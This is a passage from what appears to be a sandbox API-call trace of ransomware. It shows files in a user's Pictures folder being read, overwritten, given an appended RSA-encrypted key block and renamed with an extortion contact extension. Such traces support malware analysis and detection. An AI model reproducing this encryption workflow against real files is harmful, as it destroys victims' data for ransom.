(lpFileName="\\Users\\FD1HVy\\Pictures\\s1kxL5OunrcXaw.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\s1kxl5ounrcxaw.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0148.186] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=70045) returned 1 [0148.186] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1119d) returned 0x631898 [0148.186] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1119d) returned 0x642a40 [0148.186] ReadFile (in: hFile=0x600, lpBuffer=0x631898, nNumberOfBytesToRead=0x1119d, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x1119d, lpOverlapped=0x0) returned 1 [0148.188] SetFilePointer (in: hFile=0x600, lDistanceToMove=-70045, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.189] WriteFile (in: hFile=0x600, lpBuffer=0x642a40*, nNumberOfBytesToWrite=0x1119d, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x642a40*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1119d, lpOverlapped=0x0) returned 1 [0148.189] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0148.189] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x642a40 | out: hHeap=0x570000) returned 1 [0148.190] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1119d [0148.190] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.190] WriteFile (in: hFile=0x600, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.190] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0148.190] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0148.191] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0148.191] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0148.191] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="N8ypO1OBsDafoWVK4U43aD6uh9zalsAaaRRMIV8QmkEujihQbrF6KRh3Ml1IkfFr\n7PrG+UpSrW8OxWT+4hMm8hXSN1aimemylwhzfi9VDims/oObyK6wn6orsL2RElC3\niwrMYiaoygOr2SN+26Os/05gL+EdDk/1B0Y4Hz0QpH5drynB/ollsPYoVIpsfHTf\nReOsQxSrtOtqJ6SWtHgtcuMn0MuXhoqFnT/xyGWpT6OcWaDy7mvChrCl6Bavfil7\nO/WkcaB3kbDMSWuznFqkFhDK3qhDTxCJAuiXfCtodbZDRnd1m018anbKpEqChk/6\n9PWcaNG268vc/b8NqwDkQA==\n", pcchString=0x2e3f9a8) returned 1 [0148.191] WriteFile (in: hFile=0x600, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0148.191] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.191] WriteFile (in: hFile=0x600, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.191] CloseHandle (hObject=0x600) returned 1 [0148.192] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0148.192] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\s1kxL5OunrcXaw.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\s1kxl5ounrcxaw.bmp"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\s1kxL5OunrcXaw.bmp.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\pictures\\s1kxl5ounrcxaw.bmp.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0148.200] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0148.200] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0148.200] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630c00 | out: hHeap=0x570000) returned 1 [0148.200] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630da0 | out: hHeap=0x570000) returned 1 [0148.200] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x630e70 [0148.200] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589950 [0148.200] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0148.200] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\rMNu_aSp1JkhZR_.png", dwFileAttributes=0x80) returned 1 [0148.201] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x631420 [0148.201] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e5c0 [0148.201] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631420 | out: hHeap=0x570000) returned 1 [0148.201] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\rMNu_aSp1JkhZR_.png" (normalized: "c:\\users\\fd1hvy\\pictures\\rmnu_asp1jkhzr_.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0148.201] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=44935) returned 1 [0148.201] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xaf87) returned 0x631898 [0148.201] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xaf87) returned 0x63c828 [0148.201] ReadFile (in: hFile=0x600, lpBuffer=0x631898, nNumberOfBytesToRead=0xaf87, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0xaf87, lpOverlapped=0x0) returned 1 [0148.203] SetFilePointer (in: hFile=0x600, lDistanceToMove=-44935, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.203] WriteFile (in: hFile=0x600, lpBuffer=0x63c828*, nNumberOfBytesToWrite=0xaf87, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x63c828*, lpNumberOfBytesWritten=0x2e3f9b4*=0xaf87, lpOverlapped=0x0) returned 1 [0148.204] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0148.204] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x63c828 | out: hHeap=0x570000) returned 1 [0148.204] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xaf87 [0148.204] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.204] WriteFile (in: hFile=0x600, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.204] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0148.204] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0148.204] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0148.204] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0148.204] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="ihn/fZDJf+0wGj3QbVudUh47lrLCkzwnmkuCLuey8FkiucNAoKriJMDQnYchRfdB\nXbgVNIzK0GDplxkd9mKESdbF2qkRnGcTTqVmpHoIpkDKTycsF5IKFa66dtkLIOE6\nyWVsXTQqGVok0oMhp8VtxTaRDWY4H5vKU3B131H9O4hx48CDE8YPaWMppObdRWyl\ngYFVgxmigmLarJcspKKpWZttaJ6wGila4N2MwlGrR3i2q14cUxOVtjivS9JJjzxU\n4H669x/VUgM4yyED4qPG5S+kV3H1H9alSxg9eLZ7xwaquB22pHjUD5B9rkzxSFB3\nZXTgG0MLVnbo4tcLZ9VzeQ==\n", pcchString=0x2e3f9a8) returned 1 [0148.204] WriteFile (in: hFile=0x600, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0148.205] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.205] WriteFile (in: hFile=0x600, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.205] CloseHandle (hObject=0x600) returned 1 [0148.205] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0148.205] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\rMNu_aSp1JkhZR_.png" (normalized: "c:\\users\\fd1hvy\\pictures\\rmnu_asp1jkhzr_.png"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\rMNu_aSp1JkhZR_.png.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\pictures\\rmnu_asp1jkhzr_.png.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0148.211] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e5c0 | out: hHeap=0x570000) returned 1 [0148.211] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589950 | out: hHeap=0x570000) returned 1 [0148.211] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630e70 | out: hHeap=0x570000) returned 1 [0148.211] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6313b8 | out: hHeap=0x570000) returned 1 [0148.211] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x630ac8 [0148.211] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0148.211] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0148.211] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\rMEczP-gjZm14XX.jpg", dwFileAttributes=0x80) returned 1 [0148.211] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x630b98 [0148.211] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e508 [0148.211] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630b98 | out: hHeap=0x570000) returned 1 [0148.211] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\rMEczP-gjZm14XX.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\rmeczp-gjzm14xx.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0148.212] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=62062) returned 1 [0148.212] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf26e) returned 0x631898 [0148.212] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf26e) returned 0x640b10 [0148.212] ReadFile (in: hFile=0x600, lpBuffer=0x631898, nNumberOfBytesToRead=0xf26e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0xf26e, lpOverlapped=0x0) returned 1 [0148.213] SetFilePointer (in: hFile=0x600, lDistanceToMove=-62062, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.213] WriteFile (in: hFile=0x600, lpBuffer=0x640b10*, nNumberOfBytesToWrite=0xf26e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x640b10*, lpNumberOfBytesWritten=0x2e3f9b4*=0xf26e, lpOverlapped=0x0) returned 1 [0148.214] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0148.214] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x640b10 | out: hHeap=0x570000) returned 1 [0148.214] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xf26e [0148.214] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.214] WriteFile (in: hFile=0x600, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.214] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0148.214] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0148.215] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0148.215] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0148.215] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="3oCYoDYp+yyaMm+ePlZc4Kf20WBhn0wcSDyZm0yyLhpss3L3jRSUgaPVJHqcNyas\nXKwsqO8VhpVfvMkkAyqcTSaqMc4MjIjBSySVUjI0zetBfpUDNRChcJe9XK4h6YXz\nny3WnurVO231gJq6TNIPXsG/y9lXT404CzDgS6GE6sbQ/wVFXW1wNAdy4Hy1okU0\nGLOcN9TuC77RPARry/zTPET3az4xtFDo0kpoOxa5aqlhgv0pDDJ81lw/UqoOA/IJ\nKdO/bEINAO8+iwPiBQ+i2iaL/oUx0uQ2TRdGNbSA08/BBEft97MIPG2ad+Jyk5IC\nmP7evj2wdUfCF8pa2SUqMg==\n", pcchString=0x2e3f9a8) returned 1 [0148.215] WriteFile (in: hFile=0x600, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0148.215] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.215] WriteFile (in: hFile=0x600, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.215] CloseHandle (hObject=0x600) returned 1 [0148.216] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0148.216] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\rMEczP-gjZm14XX.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\rmeczp-gjzm14xx.jpg"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\rMEczP-gjZm14XX.jpg.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\pictures\\rmeczp-gjzm14xx.jpg.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0148.217] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e508 | out: hHeap=0x570000) returned 1 [0148.217] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0148.217] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630ac8 | out: hHeap=0x570000) returned 1 [0148.217] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631350 | out: hHeap=0x570000) returned 1 [0148.218] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be210 [0148.218] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0148.218] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0148.218] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\rFUsfA-MWT.jpg", dwFileAttributes=0x80) returned 1 [0148.218] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be7e8 [0148.218] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0148.218] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be7e8 | out: hHeap=0x570000) returned 1 [0148.218] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\rFUsfA-MWT.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\rfusfa-mwt.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0148.218] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=30290) returned 1 [0148.218] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x7652) returned 0x631898 [0148.218] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x7652) returned 0x638ef8 [0148.219] ReadFile (in: hFile=0x600, lpBuffer=0x631898, nNumberOfBytesToRead=0x7652, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x7652, lpOverlapped=0x0) returned 1 [0148.220] SetFilePointer (in: hFile=0x600, lDistanceToMove=-30290, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.220] WriteFile (in: hFile=0x600, lpBuffer=0x638ef8*, nNumberOfBytesToWrite=0x7652, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x638ef8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x7652, lpOverlapped=0x0) returned 1 [0148.220] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0148.220] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x638ef8 | out: hHeap=0x570000) returned 1 [0148.220] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x7652 [0148.220] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.220] WriteFile (in: hFile=0x600, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.221] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0148.221] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0148.221] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0148.221] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0148.221] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="sPIscPaPcPr9+5wk4O6cOs/Vg1xFSK5Fg8HnKeo9e67ufgtRZC5DjN2M7fffQE4y\ng9M2I4IltEvKrDM56lE1PR4gL8U8V2MWLZISn2bKuFpZ5ARIVO0qO9eQU3r42vTj\nnQskRoRtqsJzMyE41sUDIUmSFhaVYq0j0+uBCh8AahOb6hR5PSh8BRL+gom6xxlP\nz3I4ZfAqQZrWtA7HSyhyeIY9QxQ9cGT/IvwMiAvmaJfqNuOrXA0vH7JTJNxC1EDG\nm49q09LluLPEv4/yHx24c0g8gOx8Fd0Fx/x6ROZwv3EhUm+YAyXQeo22O2Ql4aTU\n1Jgr/xVVhTwfkL0EMmWGHw==\n", pcchString=0x2e3f9a8) returned 1 [0148.221] WriteFile (in: hFile=0x600, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0148.221] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.221] WriteFile (in: hFile=0x600, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0148.221] CloseHandle (hObject=0x600) returned 1 [0148.221] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0148.221] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\rFUsfA-MWT.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\rfusfa-mwt.jpg"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\rFUsfA-MWT.jpg.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\pictures\\rfusfa-mwt.jpg.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0148.223] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0148.223] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0148.223] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be210 | out: hHeap=0x570000) returned 1 [0148.223] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bebb0 | out: hHeap=0x570000) returned 1 [0148.223] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0148.223] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5899c8 [0148.223] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0148.224] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\QzcX.jpg", dwFileAttributes=0x80) returned 1 [0148.224] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7648 [0148.224] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5bf3d8 [0148.224] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7648 | out: hHeap=0x570000) returned 1 [0148.224] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\QzcX.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\qzcx.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0148.224] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=3673) returned 1 [0148.224] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe59) returned 0x631898 [0148.224] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe59) returned 0x632700 [0148.224] ReadFile (in: hFile=0x600, lpBuffer=0x631898, nNumberOfBytesToRead=0xe59, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0xe59, lpOverlapped=0x0) returned 1 [0148.225] SetFilePointer (in: hFile=0x600, lDistanceToMove=-3673, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0148.225] WriteFile (in: hFile=0x600, lpBuffer=0x632700*, nNumberOfBytesToWrite=0xe59, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x632700*, lpNumberOfBytesWritten=0x2e3f9b4*=0xe59, lpOverlapped=0x0) returned 1 [0148.225] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0148.225] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x632700 | out: hHeap=0x570000) returned 1 [0148.225] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xe59 [0148.226] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0148.226] WriteFile (in: hFile=0x600, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, 